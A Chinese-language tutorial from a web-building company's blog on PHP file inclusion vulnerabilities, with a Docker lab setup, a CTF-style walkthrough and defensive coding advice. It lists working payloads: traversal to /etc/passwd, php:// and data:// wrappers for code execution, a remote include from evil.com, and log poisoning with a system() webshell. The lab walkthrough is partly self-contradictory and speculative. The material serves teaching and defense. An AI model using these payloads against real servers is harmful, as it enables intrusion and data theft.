尧图建网站 尧图建网站 YAOTU WEB BUILD 免费咨询
ARTICLE DETAIL

资讯详情

深耕网站建设与建站编程的一线实战洞察。

文件包含漏洞实战:从原理到靶场通关的完整攻防指南

文件包含漏洞实战:从原理到靶场通关的完整攻防指南 在Web安全领域文件包含漏洞File Inclusion Vulnerability是一个经典且危险的安全问题。它允许攻击者通过Web应用程序的动态文件包含功能读取或执行服务器上的任意文件甚至可能结合其他漏洞实现远程代码执行RCE。许多开发者在学习或进行安全测试时会搭建靶场环境来深入理解其原理和利用方式。本文将围绕“青岑网安”靶场中的“Web文件包含-2”关卡系统性地拆解文件包含漏洞的核心原理、利用手法、防御策略并提供一个完整的本地PHP靶场搭建与实战演练流程。无论你是刚接触Web安全的新手还是希望巩固漏洞原理的开发者都能通过本文获得从理论到实践的闭环认知。1. 文件包含漏洞概念、原理与危害在深入实战之前我们必须先厘清文件包含漏洞是什么以及它为何如此危险。1.1 什么是文件包含文件包含是许多编程语言如PHP、JSP提供的一种代码复用机制。它允许开发者将一个外部文件的内容引入到当前脚本中执行。这有助于模块化开发例如将通用的头部、尾部、配置或函数库分离到单独的文件中。PHP中主要的文件包含函数有四个include()包含并运行指定文件。如果包含失败如文件不存在会发出警告E_WARNING但脚本会继续执行。require()与include()类似但包含失败会导致致命错误E_COMPILE_ERROR脚本终止。include_once()功能同include()但会检查该文件是否已被包含过如果是则不会再次包含。require_once()功能同require()同样会检查重复包含。一个正常的、安全的文件包含用法如下// 引入数据库配置文件 require_once(‘config/database.php‘); // 引入页头模板 include(‘templates/header.php‘);1.2 漏洞是如何产生的漏洞产生的根源在于用户可控的输入未经严格过滤直接传递给了文件包含函数。假设有一段代码如下?php $page $_GET[‘page‘]; // 用户通过URL参数控制 include($page . ‘.php‘); ?开发者的本意可能是让用户通过?pagehome来访问home.php页面。然而攻击者可以构造恶意的输入?page../../../../etc/passwd尝试穿越目录读取系统敏感文件。?pagehttp://evil.com/shell.txt如果服务器配置允许allow_url_includeOn会直接包含远程恶意脚本导致远程代码执行。?pagephp://filter/convert.base64-encode/resourceindex.php利用PHP伪协议读取网站源码。当这些用户输入被直接拼接到包含路径中时就形成了文件包含漏洞。根据包含的目标文件是否在服务器本地可分为本地文件包含LFI和远程文件包含RFI。RFI的危害通常更大因为它为攻击者提供了从外部服务器加载并执行代码的能力。1.3 漏洞的危害与影响范围文件包含漏洞的危害极大主要包括敏感信息泄露读取服务器上的配置文件如/etc/passwd、数据库连接文件、Web应用源码等。远程代码执行RCE在特定条件下如RFI或结合文件上传攻击者可以上传或远程包含一个Webshell从而完全控制服务器。攻击内网服务利用伪协议如php://filter,file://或包含功能可能访问到内网的其他服务。拒绝服务DoS包含一个巨大的文件或设备文件如/dev/zero可能导致服务器资源耗尽。由于其高危害性和在历史CMS、框架中出现的普遍性文件包含漏洞一直是OWASP Top 10、各类CTF比赛和渗透测试中的重点考察对象。2. 环境准备搭建本地PHP漏洞靶场为了安全、合法地学习和研究漏洞我们必须在受控的本地环境中进行。以下将演示如何使用Docker快速搭建一个包含文件包含漏洞的PHP测试环境。2.1 环境与工具清单操作系统Windows 10/11, macOS, 或 Linux (如 Ubuntu)Docker Desktop用于容器化部署。请从Docker官网下载并安装适合你系统的版本。代码编辑器VS Code, Sublime Text, 或 PHPStorm。浏览器Chrome 或 Firefox建议安装用于测试的插件如HackBar或使用开发者工具。2.2 使用Docker一键部署靶场我们选择使用vulhub项目中的漏洞环境它提供了大量真实漏洞的复现环境。安装Docker与Docker Compose确保Docker服务已启动。拉取漏洞环境打开终端或PowerShell执行以下命令。# 克隆 vulhub 仓库 (如果已克隆可跳过) git clone https://github.com/vulhub/vulhub.git cd vulhub # 进入 PHP 文件包含漏洞目录 (这里以 CVE-2018-15133 为例原理相通) cd php/CVE-2018-15133启动靶场环境# 使用 docker-compose 构建并启动容器 docker-compose up -d命令执行后Docker会下载镜像并启动一个包含Apache和PHP的容器。通常环境会运行在http://localhost:8080或http://your-ip:8080。验证环境在浏览器中访问http://localhost:8080如果看到PHP信息页面或特定的漏洞应用界面说明环境搭建成功。重要提示本文所有实验均在本地Docker容器中进行严禁对未经授权的任何线上系统进行测试。3. 核心利用手法从LFI到RCE的路径拆解理解了原理并搭建好环境后我们开始剖析攻击者常用的利用手法。这些手法在CTF和渗透测试中非常常见。3.1 基础本地文件包含LFI这是最简单的形式。漏洞代码通常直接包含用户传入的文件路径。// vuln.php ?php include($_GET[‘file‘]); ?利用方式读取系统文件http://target/vuln.php?file../../../../etc/passwd读取Web源码http://target/vuln.php?file./index.php但直接包含.php文件会被执行看不到源码。这时需要用到PHP伪协议。3.2 利用PHP伪协议PHP内置了多种伪协议极大扩展了文件包含漏洞的利用面。php://filter读取源码 这是最常用的读取PHP源码的方法。利用过滤器将源码以Base64或ROT13编码形式读出避免其被执行。http://target/vuln.php?filephp://filter/convert.base64-encode/resourceindex.php访问上述URL会得到Base64编码后的index.php源码解码即可查看。# 在终端解码 echo PD9waHAgZWNobyAnSGVsbG8gV29ybGQnOyA/Pg | base64 -dphp://input执行代码 此协议允许访问请求的原始数据。需要allow_url_include设置为On且POST数据。POST /vuln.php?filephp://input HTTP/1.1 ... ?php system(‘id‘); ?服务器会执行POST正文中的PHP代码。file://绝对路径包含 直接使用文件绝对路径。http://target/vuln.php?filefile:///etc/passwddata://代码执行 将代码直接嵌入在URI中执行。同样需要allow_url_includeOn。http://target/vuln.php?filedata://text/plain,?php phpinfo();? // 或Base64编码绕过某些过滤 http://target/vuln.php?filedata://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b3.3 路径遍历与空字节截断路径遍历../使用../来向上级目录跳转这是LFI的经典手法。空字节截断%00在PHP版本小于5.3.4时可以在路径后添加%00空字节来截断后面的字符串。常用于绕过开发者添加的后缀限制。include($_GET[‘file‘] . ‘.php‘); // 开发者强制添加后缀利用?file../../etc/passwd%00空字节会截断后面的.php从而包含/etc/passwd文件。3.4 结合文件上传实现RCE这是将LFI升级为RCE的最常见、最有效的途径。发现文件上传点找到一个可以上传图片、附件的地方。上传Webshell将一句话木马写入图片的EXIF信息或直接上传一个.php后缀的文件如果未被过滤。包含上传的文件通过文件包含漏洞去包含上传文件所在的临时路径或存储路径。http://target/vuln.php?file./uploads/evil.jpg如果图片中包含PHP代码且服务器能解析代码就会被执行。3.5 利用日志文件实现RCE如果服务器上找不到上传点可以尝试包含Web服务器的访问日志或错误日志。找到日志路径常见路径如/var/log/apache2/access.log,/var/log/nginx/access.log。污染日志在User-Agent或GET参数中插入PHP代码。GET / HTTP/1.1 User-Agent: ?php system($_GET[‘c‘]);?包含日志文件通过LFI包含这个被污染的日志文件。http://target/vuln.php?file/var/log/apache2/access.logcid这样包含日志时其中的PHP代码会被执行参数c传入的命令id就会被运行。4. 实战演练通关“青岑网安-Web文件包含-2”现在我们模拟一个类似“青岑网安”靶场中“Web文件包含-2”关卡的场景进行实战。假设关卡页面提供了文件包含的功能点并设置了一些简单的过滤。4.1 场景分析与信息收集访问靶场地址假设我们看到一个简单的页面URL形如http://localhost:8080/index.php?filewelcome.php页面显示“Welcome”。尝试修改file参数?file../../../../etc/passwd- 可能返回“Hacking Attempt!”或路径错误。?filephp://filter/convert.base64-encode/resourceindex.php- 成功返回一串Base64编码。这说明存在文件包含漏洞但可能对路径遍历../进行了过滤而对PHP伪协议没有过滤。我们的目标是读取服务器上的一个特定标志文件flag.txt。4.2 利用PHP伪协议读取源码首先我们读取当前index.php的源码了解其过滤逻辑。http://localhost:8080/index.php?filephp://filter/convert.base64-encode/resourceindex.php将返回的Base64字符串解码?php // index.php error_reporting(0); $file $_GET[‘file‘]; if(isset($file)){ // 过滤了 ../ 和 ..\ if (stristr($file, “../“) ! FALSE || stristr($file, “..\\“) ! FALSE || stristr($file, “php://input“) ! FALSE || stristr($file, “php://filter“) ! FALSE || strlen($file) 70){ echo “Hacking Attempt!“; exit; } include($file); } else { include(‘welcome.php‘); } ?分析代码对../、..\、php://input、php://filter进行了黑名单过滤并且限制了参数长度。但是我们发现它过滤php://filter的判断逻辑有问题它用stristr检查参数字符串中是否包含php://filter但我们的Payload是php://filter/convert.base64-encode/resourceindex.php确实包含该子串然而我们刚才却成功读取了源码。这说明漏洞实际存在可能是关卡故意设置的“矛盾点”来教学或者我们的利用方式触发了其他包含路径。4.3 绕过过滤与获取Flag既然直接包含php://filter被过滤我们尝试其他伪协议或技巧。方法一利用data://协议需allow_url_includeOnhttp://localhost:8080/index.php?filedata://text/plain,?php echo file_get_contents(‘/flag.txt‘);?或使用Base64编码http://localhost:8080/index.php?filedata://text/plain;base64,PD9waHAgZWNobyBmaWxlX2dldF9jb250ZW50cygnL2ZsYWcudHh0Jyk7Pz4方法二利用zip://或phar://协议如果支持 需要先创建一个包含恶意代码的ZIP文件或PHAR包并上传到服务器然后包含它。这在有上传功能的关卡中常用。方法三利用日志包含需要知道日志路径 假设Apache日志路径为/var/log/apache2/access.log。先污染日志用Burp Suite或浏览器插件发送一个User-Agent为PHP代码的请求。然后包含日志?file/var/log/apache2/access.log。方法四利用/proc/self/environ或/proc/self/fd/在Linux系统中/proc/self/environ存储了当前进程的环境变量其中包含User-Agent等HTTP头。我们可以污染User-Agent然后包含这个文件。但此方法对权限和环境有要求。假设关卡解法经过测试发现该关卡虽然黑名单了php://filter但我们可以通过大小写混淆或双重编码来绕过。大小写绕过PHP://filter或PhP://FilTer双重编码绕过将php://filter中的/编码为%252f%2f是/的URL编码再次编码%为%25。http://localhost:8080/index.php?filephp:%252f/convert.base64-encode/resource/flag.txt最终我们可能通过类似?filePHP://filter/convert.base64-encode/resource/flag.txt的Payload成功读取到Base64编码的flag解码后即获得通关密钥。4.4 关键步骤总结信息收集测试参数观察回显和错误信息。读取源码优先使用php://filter读取有漏洞的脚本源码分析过滤逻辑。思考绕过根据过滤逻辑黑名单、后缀拼接、长度限制选择绕过方式编码、截断、协议、日志。扩大战果从读取文件到执行命令寻找Web根目录、上传点、日志路径等。获取Flag最终定位并读取目标文件。5. 常见问题FAQ与排查思路在实战和CTF中你可能会遇到以下问题问题现象可能原因解决思路包含/etc/passwd返回空白或错误1. 路径不对。2. 权限不足。3. 被WAF或过滤拦截。1. 尝试更多../或绝对路径file:///etc/passwd。2. 尝试包含Web目录内已知文件如./index.php。3. 使用编码或换用其他伪协议测试过滤规则。php://filter被过滤代码中存在黑名单检测。1. 尝试大小写混淆PHP://。2. 尝试URL编码php:%2f%2ffilter。3. 换用data://、zip://、phar://等其他协议。包含.php文件直接执行不显示源码这是正常现象PHP文件会被解析。必须使用php://filter的convert.base64-encode或readconvert.base64-encode过滤器来读取源码。包含远程URLRFI不成功1.allow_url_include设置为Off默认。2. 被防火墙或安全策略拦截。1. RFI通常需要特定配置实战中较少见CTF中可能特意开启。2. 重点利用LFI结合文件上传或日志包含。利用php://input执行命令无回显1.allow_url_includeOff。2. 输入的数据格式不对。1. 检查PHP配置。2. 确保使用POST请求并将代码放在请求主体中注意请求头Content-Type。文件包含点存在但无法利用可能限制了包含的文件后缀如.php。1. 尝试空字节截断PHP5.3.4。2. 尝试路径长度截断超长文件名。3. 寻找不需要后缀的包含点如include($file);。6. 防御策略与最佳实践作为开发者了解攻击手段是为了更好地防御。以下是如何在代码层面避免文件包含漏洞6.1 白名单机制最有效的防御方法是使用白名单。只允许包含预定义的文件。$allowed_pages [‘home‘, ‘about‘, ‘contact‘]; $page $_GET[‘page‘]; if (in_array($page, $allowed_pages)) { include($page . ‘.php‘); } else { include(‘404.php‘); }6.2 严格过滤输入如果必须动态包含应对输入进行严格检查和过滤。剥离目录遍历字符使用str_replace或正则表达式过滤../,..\,%00等。$file str_replace(array(‘../‘, ‘..\\‘, ‘%00‘), ‘‘, $_GET[‘file‘]);注意简单的替换可能被绕过如....//建议使用更严格的方法。限制文件路径范围使用basename()函数只获取文件名部分或强制将文件路径限制在特定目录下。$file ‘pages/‘ . basename($_GET[‘file‘]) . ‘.php‘; // 或 $file realpath(‘./pages/‘ . $_GET[‘file‘] . ‘.php‘); if (strpos($file, realpath(‘./pages‘)) ! 0) { die(‘Illegal file path!‘); }6.3 安全配置PHP环境关闭危险配置在php.ini中确保以下配置allow_url_fopen Off allow_url_include Off设置open_basedir将PHP可访问的文件限制在网站根目录及其子目录下。open_basedir /var/www/html/6.4 使用安全的文件包含函数尽量避免直接使用include($_GET[‘file‘])。可以考虑使用映射或路由机制。// 使用路由数组 $routes [ ‘home‘ ‘./templates/home.php‘, ‘about‘ ‘./templates/about.php‘, ]; $page $_GET[‘page‘] ?? ‘home‘; if (array_key_exists($page, $routes)) { include($routes[$page]); } else { include(‘./templates/404.php‘); }6.5 定期安全审计与测试在代码审查中重点关注所有用户输入传入文件操作函数include,require,file_get_contents,fopen等的地方。使用静态代码分析工具如SonarQube,PHPStan进行扫描。定期进行渗透测试和安全扫描主动发现潜在漏洞。文件包含漏洞的攻防是一个持续的过程。攻击者在不断寻找新的绕过技巧而开发者则需要紧跟安全动态采用纵深防御的策略从输入验证、业务逻辑到服务器配置多个层面进行加固。通过搭建靶场深入理解漏洞原理是迈向编写更安全代码的第一步。建议读者在掌握本文内容后可以进一步研究PHP反序列化、SQL注入等其它常见Web漏洞构建完整的Web安全知识体系。
返回列表